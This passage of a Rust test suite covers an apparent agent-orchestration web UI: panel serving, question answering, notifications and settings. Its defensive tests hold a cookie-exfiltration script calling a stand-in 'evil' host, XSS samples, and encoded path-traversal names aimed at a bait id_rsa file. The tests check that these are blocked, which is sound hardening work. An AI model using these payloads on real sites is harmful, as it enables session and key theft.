9339 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9346 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9347
9348 fn launch_knocking_on_the_way_out(
9355 _opts: daemon::Opts,
9356 stop: daemon::Stop,
9357 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9358 Box::pin(async move {
9359 while !stop.stopped() {
9360 tokio::time::sleep(Duration::from_millis(2)).await;
9361 }
9362 let addr = PARK_KNOCK
9363 .lock()
9364 .expect("park knock")
9365 .expect("the test set an address");
9366 let heard = request(addr, "GET", "/api/health", None).await.status;
9367 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9368 Ok(())
9369 })
9370 }
9371
9372 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9381 for _ in 0..SETTLE_STEPS {
9382 let view = fx.get("/api/loop").await.json();
9383 if want(&view) {
9384 return view;
9385 }
9386 tokio::time::sleep(Duration::from_millis(10)).await;
9387 }
9388 panic!(
9389 "the loop never settled: {}",
9390 fx.get("/api/loop").await.json()
9391 );
9392 }
9393
9394 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9396 let store = fx.questions();
9397 let mut q = Question::new(
9398 "20260902-000000-beef".to_owned(),
9399 "implement".to_owned(),
9400 "impl-A".to_owned(),
9401 summary.to_owned(),
9402 "because it matters".to_owned(),
9403 choices.iter().map(|c| (*c).to_owned()).collect(),
9404 );
9405 store.put(&mut q).expect("put question");
9406 q.id
9407 }
9408
9409 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9415 let store = fx.questions();
9416 let mut q = Question::new(
9417 "20260902-000000-beef".to_owned(),
9418 "land".to_owned(),
9419 "fix".to_owned(),
9420 "Merge this?".to_owned(),
9421 "the diff is in the panel".to_owned(),
9422 vec!["merge".to_owned(), "hold".to_owned()],
9423 );
9424 let staging = fx.home.path().join("staging");
9427 std::fs::create_dir_all(&staging).expect("staging dir");
9428 let sources: Vec<PathBuf> = assets
9429 .iter()
9430 .map(|(name, bytes)| {
9431 let path = staging.join(name);
9432 std::fs::write(&path, bytes).expect("write staged asset");
9433 path
9434 })
9435 .collect();
9436 store
9437 .put_panel(&mut q, html, &sources)
9438 .expect("write the panel");
9439 store.put(&mut q).expect("put question");
9440 q.id
9441 }
9442
9443 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9452 seed_talk_at(&fx.talks(), id, status)
9453 }
9454
9455 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9456 std::fs::create_dir_all(store.root()).expect("talks dir");
9457 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9458 .expect("serialize a seat");
9459 let body = serde_json::json!({
9460 "schema": 1,
9461 "id": id,
9462 "repo": "/repo/magi",
9463 "agent": "mock",
9464 "status": status,
9465 "turns": [],
9466 "created_at": Timestamp::now().to_string(),
9467 "updated_at": Timestamp::now().to_string(),
9468 "seat": seat,
9469 });
9470 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9471 store.get(id).expect("the seeded talk has to be readable");
9472 id.to_owned()
9473 }
9474
9475 #[tokio::test]
9476 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9477 let fx = Fixture::start().await;
9478 let id = panel(
9479 &fx,
9480 "<h1>Merge?</h1><img src=\"diff.svg\">",
9481 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9482 );
9483
9484 for path in [
9485 format!("/api/questions/{id}/panel"),
9486 format!("/api/questions/{id}/asset/diff.svg"),
9487 ] {
9488 let res = fx.get(&path).await;
9489 assert_eq!(res.status, 200, "{path}: {}", res.body);
9490 assert_eq!(
9496 res.header("content-security-policy"),
9497 Some(
9498 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9499 font-src data:; base-uri 'none'; form-action 'none'; \
9500 frame-ancestors 'self'"
9501 ),
9502 "{path} is the only thing between a hostile panel and the tailnet"
9503 );
9504 assert_eq!(
9505 res.header("x-content-type-options"),
9506 Some("nosniff"),
9507 "{path}: a browser must not re-decide the type we sent"
9508 );
9509 assert_eq!(
9510 res.header("referrer-policy"),
9511 Some("no-referrer"),
9512 "{path}: a panel must not leak the question id off the machine"
9513 );
9514
9515 let pre = fx.head(&path).await;
9520 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9521 assert_eq!(
9522 pre.header("content-security-policy"),
9523 res.header("content-security-policy"),
9524 "{path}: the preflight carries the same policy"
9525 );
9526 assert_eq!(
9527 pre.header("content-type"),
9528 res.header("content-type"),
9529 "{path}: the preflight carries the same type"
9530 );
9531 }
9532 }
9533
9534 #[tokio::test]
9535 async fn a_panel_reaches_the_browser_byte_for_byte() {
9536 let fx = Fixture::start().await;
9537 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9542 let id = panel(&fx, html, &[]);
9543
9544 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9545
9546 assert_eq!(res.status, 200);
9547 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9548 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9549 assert_eq!(
9550 res.header("content-disposition"),
9551 None,
9552 "the panel itself is rendered in the frame, not downloaded"
9553 );
9554 }
9555
9556 #[tokio::test]
9557 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9558 let fx = Fixture::start().await;
9559 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9560 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9561 let id = panel(
9562 &fx,
9563 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9564 &[("diff.svg", svg), ("shot.png", png)],
9565 );
9566
9567 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9568 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9569
9570 assert_eq!(as_svg.status, 200);
9571 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9572 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9577
9578 assert_eq!(as_png.status, 200);
9579 assert_eq!(as_png.header("content-type"), Some("image/png"));
9580 assert_eq!(
9581 as_png.header("content-disposition"),
9582 None,
9583 "a raster image has no execution surface, so tapping it still shows it"
9584 );
9585 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9586 }
9587
9588 #[tokio::test]
9589 async fn an_html_asset_is_never_served_as_html() {
9590 let fx = Fixture::start().await;
9591 let id = panel(
9592 &fx,
9593 "<p>see the notes</p>",
9594 &[
9595 (
9596 "notes.html",
9597 b"<script>fetch('http://evil/'+document.cookie)</script>",
9598 ),
9599 ("hook.js", b"fetch('http://evil/')"),
9600 ("data.json", b"{}"),
9601 ("HEADLINE.TXT", b"plain"),
9602 ],
9603 );
9604
9605 for name in ["notes.html", "hook.js", "data.json"] {
9606 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9607 assert_eq!(res.status, 200, "{name}: {}", res.body);
9608 assert_eq!(
9613 res.header("content-type"),
9614 Some("application/octet-stream"),
9615 "{name} must not be a type the browser will execute or render"
9616 );
9617 }
9618 let txt = fx
9621 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9622 .await;
9623 assert_eq!(
9624 txt.header("content-type"),
9625 Some("text/plain; charset=utf-8")
9626 );
9627 }
9628
9629 #[tokio::test]
9630 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9631 let fx = Fixture::start().await;
9632 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9633 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9637
9638 for encoded in [
9645 "%2e%2e%2fid_rsa",
9646 "..%2fid_rsa",
9647 "..%5cid_rsa",
9648 "%2e%2e%5cid_rsa",
9649 "diff%00.svg",
9650 "..",
9651 ".hidden",
9652 "%2e%2e%2f%2e%2e%2fid_rsa",
9653 ] {
9654 let res = fx
9655 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9656 .await;
9657 assert_eq!(
9658 res.status, 400,
9659 "`{encoded}` has to be refused by name, not looked up: {}",
9660 res.body
9661 );
9662 assert!(res.json()["error"].is_string(), "{}", res.body);
9663 }
9664
9665 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9671 let res = fx
9672 .get(&format!("/api/questions/{id}/asset/{literal}"))
9673 .await;
9674 assert_eq!(
9675 res.status, 404,
9676 "`{literal}` must not match the asset route at all: {}",
9677 res.body
9678 );
9679 }
9680 }
9681
9682 #[tokio::test]
9683 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9684 let fx = Fixture::start().await;
9685 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9686 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9687
9688 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9692 assert_eq!(none.status, 404, "{}", none.body);
9693 assert!(none.json()["error"].is_string(), "{}", none.body);
9694 assert_eq!(
9695 fx.head(&format!("/api/questions/{plain}/panel"))
9696 .await
9697 .status,
9698 404,
9699 "the preflight is the only way the client can learn this"
9700 );
9701
9702 let missing = fx
9704 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9705 .await;
9706 assert_eq!(missing.status, 404, "{}", missing.body);
9707 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9708
9709 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9711 assert_eq!(
9712 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9713 404
9714 );
9715 }
9716
9717 #[tokio::test]
9718 async fn a_run_with_an_open_question_reads_as_waiting() {
9719 let fx = Fixture::start().await;
9720 let run = "20260902-000000-beef".to_owned();
9721 write_run(&fx.runs(), &run, RunStatus::Implementing);
9722
9723 let before = fx.get("/api/runs").await.json();
9724 assert_eq!(before[0]["waiting"], false, "{before}");
9725
9726 let store = fx.questions();
9727 let mut q = Question::new(
9728 run.clone(),
9729 "implement".to_owned(),
9730 "impl-A".to_owned(),
9731 "Which backend?".to_owned(),
9732 String::new(),
9733 vec!["SQLite".to_owned()],
9734 );
9735 store.put(&mut q).expect("put");
9736
9737 let during = fx.get("/api/runs").await.json();
9738 assert_eq!(during[0]["waiting"], true, "{during}");
9739
9740 q.answer(Answer::Choice("SQLite".to_owned()))
9743 .expect("answer");
9744 store.put(&mut q).expect("put");
9745 let after = fx.get("/api/runs").await.json();
9746 assert_eq!(after[0]["waiting"], false, "{after}");
9747 }
9748
9749 #[tokio::test]
9750 async fn an_open_question_is_listed_and_counted_by_health() {
9751 let fx = Fixture::start().await;
9752 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9753
9754 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9755 let listed = fx.get("/api/questions").await.json();
9756 assert_eq!(listed.as_array().expect("array").len(), 1);
9757 assert_eq!(listed[0]["id"], id);
9758 assert_eq!(listed[0]["status"], "open");
9759 assert_eq!(listed[0]["choices"][1], "Redis");
9760 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9763 }
9764
9765 #[tokio::test]
9766 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9767 let fx = Fixture::start().await;
9768 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9769 let path = format!("/api/questions/{id}/answer");
9770
9771 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9772 assert_eq!(res.status, 200, "{}", res.body);
9773 let body = res.json();
9774 assert_eq!(body["status"], "answered");
9775 assert_eq!(body["answer"]["choice"], "Redis");
9776
9777 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9781 assert_eq!(again.status, 409, "{}", again.body);
9782 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9783 }
9784
9785 #[tokio::test]
9786 async fn saying_something_appends_a_turn_without_answering() {
9787 let fx = Fixture::start().await;
9788 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9789 let path = format!("/api/questions/{id}/say");
9790
9791 let res = fx
9792 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9793 .await;
9794 assert_eq!(res.status, 200, "{}", res.body);
9795 let body = res.json();
9796 assert_eq!(body["status"], "open", "talking back is not a decision");
9797 assert_eq!(body["answer"], Value::Null);
9798 assert_eq!(body["thread"][0]["who"], "operator");
9799 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9800 assert_eq!(body["waiting_on_agent"], true);
9801 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9803 }
9804
9805 #[tokio::test]
9806 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9807 let fx = Fixture::start().await;
9808 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9809
9810 let list = fx.get("/api/questions").await.json();
9811 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9812
9813 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9814 assert_eq!(res.status, 409, "{}", res.body);
9815 let q = fx.questions().get(&id).unwrap();
9816 assert!(q.status.open());
9817 assert!(q.consult.is_none());
9818 }
9819
9820 #[tokio::test]
9821 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9822 let fx = Fixture::start().await;
9823 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9824 let cfg = Config {
9825 agents: vec![crate::config::AgentSpec {
9826 id: "mock".to_owned(),
9827 kind: crate::config::AgentKind::Command,
9828 model: None,
9829 command: vec!["true".to_owned()],
9830 extra_args: Vec::new(),
9831 env: Default::default(),
9832 prompt_delivery: None,
9833 }],
9834 ..Config::default()
9835 };
9836 let talk = crate::talk::begin(
9837 &fx.talks(),
9838 &cfg,
9839 fx.home.path().to_path_buf(),
9840 Some("mock"),
9841 )
9842 .unwrap();
9843 let mut task = Task::new(
9844 "t".to_owned(),
9845 "Do it".to_owned(),
9846 PathBuf::from("/repo/magi"),
9847 Source::Agent {
9848 run: talk.id.clone(),
9849 node: crate::queue::CHAT_NODE.to_owned(),
9850 },
9851 );
9852 task.start("20260902-000000-beef".to_owned());
9853 fx.queue().put(&mut task).unwrap();
9854
9855 let list = fx.get("/api/questions").await.json();
9856 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9857 assert_eq!(
9858 list[0]["choices"],
9859 serde_json::json!(["SQLite", "Redis"]),
9860 "the hand-over is never a choice"
9861 );
9862 fx.questions()
9863 .update(&id, |q| {
9864 q.node = crate::land::APPROVAL_NODE.into();
9865 q.choices = vec!["merge".into(), "hold".into()];
9866 Ok(())
9867 })
9868 .unwrap();
9869 let list = fx.get("/api/questions").await.json();
9870 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9871 let _ = id;
9872 }
9873
9874 #[tokio::test]
9875 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9876 let fx = Fixture::start().await;
9877 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9878 fx.questions()
9879 .update(&id, |q| {
9880 q.node = crate::land::APPROVAL_NODE.into();
9881 q.choices = vec!["merge".into(), "hold".into()];
9882 Ok(())
9883 })
9884 .unwrap();
9885 let cfg = Config {
9886 agents: vec![crate::config::AgentSpec {
9887 id: "mock".to_owned(),
9888 kind: crate::config::AgentKind::Command,
9889 model: None,
9890 command: vec!["true".to_owned()],
9891 extra_args: Vec::new(),
9892 env: Default::default(),
9893 prompt_delivery: None,
9894 }],
9895 ..Config::default()
9896 };
9897 let repo = fx.home.path().join("chat-repo");
9899 std::fs::create_dir_all(&repo).unwrap();
9900 let toml = repo.join("magi.toml");
9901 std::fs::write(&toml, "this is = = not toml").unwrap();
9902 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9903 let mut task = Task::new(
9904 "t".to_owned(),
9905 "Do it".to_owned(),
9906 PathBuf::from("/repo/magi"),
9907 Source::Agent {
9908 run: talk.id.clone(),
9909 node: crate::queue::CHAT_NODE.to_owned(),
9910 },
9911 );
9912 task.start("20260902-000000-beef".to_owned());
9913 fx.queue().put(&mut task).unwrap();
9914
9915 let path = format!("/api/questions/{id}/consult");
9916 let res = fx.post(&path, None).await;
9917 assert!(res.status >= 400, "{}", res.body);
9918 assert!(fx.questions().get(&id).unwrap().consult.is_none());
9919 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9920
9921 std::fs::write(&toml, "").unwrap();
9922 let res = fx.post(&path, None).await;
9923 assert_eq!(res.status, 202, "{}", res.body);
9924 assert!(fx.questions().get(&id).unwrap().consult.is_some());
9925 let q = fx.questions().get(&id).unwrap();
9926 assert!(q.status.open());
9927 assert!(q.answer.is_none());
9928 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9929 }
9930
9931 #[tokio::test]
9932 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9933 let fx = Fixture::start().await;
9934 let store = fx.questions();
9935 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9936 assert_eq!(
9937 fx.get("/api/health").await.json()["questions_needs_owner"],
9938 1
9939 );
9940
9941 let res = fx
9947 .post(
9948 &format!("/api/questions/{id}/say"),
9949 Some(r#"{"body":"why not Postgres?"}"#),
9950 )
9951 .await;
9952 assert_eq!(res.status, 200, "{}", res.body);
9953 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9954 assert_eq!(
9955 fx.get("/api/health").await.json()["questions_needs_owner"],
9956 0,
9957 "waiting on the agent is not waiting on the owner"
9958 );
9959
9960 let mut q = store.get(&id).expect("get");
9964 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9965 .expect("reply");
9966 store.put(&mut q).expect("put");
9967 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9968 assert_eq!(
9969 fx.get("/api/health").await.json()["questions_needs_owner"],
9970 1,
9971 "the agent's reply is what should light the banner back up"
9972 );
9973 }
9974
9975 #[tokio::test]
9976 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9977 let fx = Fixture::start().await;
9978 let store = fx.questions();
9979
9980 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9981 let res = fx
9982 .post(
9983 &format!("/api/questions/{empty_id}/say"),
9984 Some(r#"{"body":" "}"#),
9985 )
9986 .await;
9987 assert_eq!(res.status, 400, "{}", res.body);
9988
9989 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9990 let mut answered = store.get(&answered_id).expect("get");
9991 answered
9992 .answer(Answer::Choice("SQLite".to_owned()))
9993 .expect("answer");
9994 store.put(&mut answered).expect("put");
9995 let res = fx
9996 .post(
9997 &format!("/api/questions/{answered_id}/say"),
9998 Some(r#"{"body":"still there?"}"#),
9999 )
10000 .await;
10001 assert_eq!(res.status, 409, "{}", res.body);
10002
10003 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10004 let mut abandoned = store.get(&abandoned_id).expect("get");
10005 abandoned.abandon("timed out");
10006 store.put(&mut abandoned).expect("put");
10007 let res = fx
10008 .post(
10009 &format!("/api/questions/{abandoned_id}/say"),
10010 Some(r#"{"body":"still there?"}"#),
10011 )
10012 .await;
10013 assert_eq!(res.status, 409, "{}", res.body);
10014 }
10015
10016 #[tokio::test]
10017 async fn an_answer_the_question_does_not_offer_is_refused() {
10018 let fx = Fixture::start().await;
10019 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10020 let path = format!("/api/questions/{id}/answer");
10021
10022 for body in [
10023 r#"{"choice":"Postgres"}"#,
10024 r#"{"text":"whatever you think"}"#,
10025 r#"{"choice":"Redis","text":"both"}"#,
10026 r#"{}"#,
10027 ] {
10028 let res = fx.post(&path, Some(body)).await;
10029 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
10030 assert!(res.json()["error"].is_string(), "{}", res.body);
10031 }
10032 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10034 }
10035
10036 #[tokio::test]
10037 async fn a_free_text_question_takes_text_and_not_a_choice() {
10038 let fx = Fixture::start().await;
10039 let id = ask(&fx, "What should the flag be called?", &[]);
10040 let path = format!("/api/questions/{id}/answer");
10041
10042 assert_eq!(
10043 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
10044 400
10045 );
10046 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
10047 assert_eq!(res.status, 200, "{}", res.body);
10048 assert_eq!(res.json()["answer"]["text"], "--json");
10049 }
10050
10051 #[tokio::test]
10052 async fn an_unknown_question_is_a_json_404() {
10053 let fx = Fixture::start().await;
10054 let res = fx
10055 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
10056 .await;
10057 assert_eq!(res.status, 404, "{}", res.body);
10058 assert!(res.json()["error"].is_string());
10059 }
10060
10061 #[tokio::test]
10062 async fn notifications_list_read_dismiss_and_health_agree() {
10063 let fx = Fixture::start().await;
10064 let store = Notices::at(fx.home.path().join("notifications"));
10065 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
10066 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
10067
10068 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
10069 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
10070
10071 store
10072 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
10073 .unwrap();
10074 let health = fx.get("/api/health").await.json();
10075 assert_eq!(health["notifications_unread"], 2);
10076 assert_ne!(
10077 health["notifications_rev"], rev0,
10078 "the badge must move live"
10079 );
10080
10081 let listed = fx.get("/api/notifications").await.json();
10082 assert_eq!(listed["unread"], 2);
10083 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
10084 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
10085
10086 let read = fx
10087 .post(&format!("/api/notifications/{}/read", a.id), None)
10088 .await;
10089 assert_eq!(read.status, 200, "{}", read.body);
10090 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
10091
10092 let gone = fx
10093 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
10094 .await;
10095 assert_eq!(gone.status, 200, "{}", gone.body);
10096 let listed = fx.get("/api/notifications").await.json();
10097 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
10098 assert_eq!(listed["unread"], 0);
10099
10100 store.raise(Notice::info("x", "again")).unwrap();
10101 let all = fx.post("/api/notifications/read-all", None).await;
10102 assert_eq!(all.status, 200, "{}", all.body);
10103 assert_eq!(all.json()["marked"], 1);
10104 assert_eq!(
10105 fx.get("/api/health").await.json()["notifications_unread"],
10106 0
10107 );
10108
10109 let missing = fx.post("/api/notifications/nope/read", None).await;
10110 assert_eq!(missing.status, 404, "{}", missing.body);
10111 assert!(missing.json()["error"].is_string());
10112 }
10113
10114 #[tokio::test]
10121 async fn a_task_cannot_be_filed_over_the_phone_directly() {
10122 let f = Fixture::start().await;
10123
10124 let res = f
10125 .post(
10126 "/api/queue",
10127 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10128 )
10129 .await;
10130
10131 assert_eq!(
10132 res.status, 405,
10133 "POST /api/queue must not be a route: {}",
10134 res.body
10135 );
10136 assert!(
10137 f.queue().list().is_empty(),
10138 "a task filed by a route that does not exist must not reach the disk"
10139 );
10140 assert_eq!(f.get("/api/queue").await.status, 200);
10143 }
10144
10145 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10147 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10148 .expect("checkout dir");
10149 }
10150
10151 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10153
10154 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10155 let tmp = TempDir::new().expect("tempdir");
10156 let repo = tmp.path().join("repo");
10157 std::fs::create_dir_all(&repo).expect("repo dir");
10158 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10159 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10160 if let Some(text) = machine_toml {
10161 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10162 std::fs::write(&machine, text).expect("machine toml");
10163 }
10164 (tmp, repo, machine)
10165 }
10166
10167 async fn settings_checkout(path: &FsPath, text: &str) {
10168 std::fs::create_dir_all(path).unwrap();
10169 std::fs::write(path.join("magi.toml"), text).unwrap();
10170 for args in [
10171 vec!["init", "-b", "main"],
10172 vec!["add", "magi.toml"],
10173 vec![
10174 "-c",
10175 "user.name=Test",
10176 "-c",
10177 "user.email=test@example.invalid",
10178 "commit",
10179 "-m",
10180 "fixture",
10181 ],
10182 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
10183 vec![
10184 "symbolic-ref",
10185 "refs/remotes/origin/HEAD",
10186 "refs/remotes/origin/main",
10187 ],
10188 ] {
10189 crate::git::git(path, &args).await.unwrap();
10190 }
10191 }
10192
10193 #[tokio::test]
10194 async fn settings_context_handlers_validate_and_save_without_a_socket() {
10195 let (tmp, repo, machine) =
10196 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
10197 let root = tmp.path().join("roots");
10198 let selected = root.join("host/owner/selected");
10199 settings_checkout(
10200 &selected,
10201 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
10202 )
10203 .await;
10204 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
10205 let before = std::fs::read(&machine).unwrap();
10206 let ui = Arc::new(
10207 Ui::new(
10208 Queue::at(tmp.path().join("queue")),
10209 Questions::at(tmp.path().join("questions")),
10210 Talks::at(tmp.path().join("talks")),
10211 tmp.path().join("runs"),
10212 tmp.path().to_path_buf(),
10213 repo.clone(),
10214 )
10215 .with_machine_config(Some(machine.clone())),
10216 );
10217 let query = || {
10218 Query(SettingsQuery {
10219 repo: Some(selected.clone()),
10220 })
10221 };
10222 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
10223 assert!(v.error.is_none(), "{:?}", v.error);
10224 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
10225 assert_eq!(conductor.source, "repo");
10226 assert_eq!(
10227 conductor.machine_value,
10228 Some(toml::Value::String("a".into()))
10229 );
10230 assert!(!conductor.editable);
10231 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
10232 assert_eq!(
10233 judges.count.as_ref().unwrap().machine_value,
10234 Some(toml::Value::Integer(1))
10235 );
10236 assert!(
10237 !v.roles
10238 .iter()
10239 .find(|r| r.key == "reviewers")
10240 .unwrap()
10241 .editable
10242 );
10243 let unknown = || {
10244 Query(SettingsQuery {
10245 repo: Some(tmp.path().to_path_buf()),
10246 })
10247 };
10248 assert_eq!(
10249 settings_get(State(ui.clone()), unknown())
10250 .await
10251 .unwrap_err()
10252 .status,
10253 StatusCode::UNPROCESSABLE_ENTITY
10254 );
10255 let body = || {
10256 Ok(Json(RolesBody {
10257 revision: v.revision.clone(),
10258 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10259 counts: Default::default(),
10260 }))
10261 };
10262 assert_eq!(
10263 settings_put_roles(State(ui.clone()), unknown(), body())
10264 .await
10265 .unwrap_err()
10266 .status,
10267 StatusCode::UNPROCESSABLE_ENTITY
10268 );
10269 assert_eq!(std::fs::read(&machine).unwrap(), before);
10270 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10271 .await
10272 .unwrap();
10273 assert_eq!(
10274 saved.repo,
10275 selected.canonicalize().unwrap().display().to_string()
10276 );
10277 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10278 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10279 let fresh = root.join("host/owner/fresh");
10281 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10282 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10283 .await
10284 .unwrap();
10285 assert_eq!(fresh_view.repositories.len(), 3);
10286 }
10287
10288 #[tokio::test]
10289 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10290 let (tmp, repo, machine) = settings_dirs(
10291 "[roles]\nreviewers = [\"a\"]\n",
10292 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10293 );
10294 let root = tmp.path().join("roots");
10295 let selected = root.join("host/owner/selected");
10296 settings_checkout(
10297 &selected,
10298 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10299 )
10300 .await;
10301 let broken = root.join("host/owner/broken");
10302 settings_checkout(&broken, "[roles\nbroken").await;
10303 let machine_text = format!(
10304 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10305 toml::Value::String(root.display().to_string())
10306 );
10307 std::fs::write(&machine, &machine_text).unwrap();
10308 let originals: Vec<_> = [&repo, &selected, &broken]
10309 .iter()
10310 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10311 .collect();
10312 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10313 let default = f.get("/api/settings").await.json();
10314 assert_eq!(
10315 default["repo"],
10316 repo.canonicalize().unwrap().display().to_string()
10317 );
10318 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10319 let query = format!("?repo={}", selected.display());
10320 let res = f.get(&format!("/api/settings{query}")).await;
10321 assert_eq!(res.status, 200, "{}", res.body);
10322 let v = res.json();
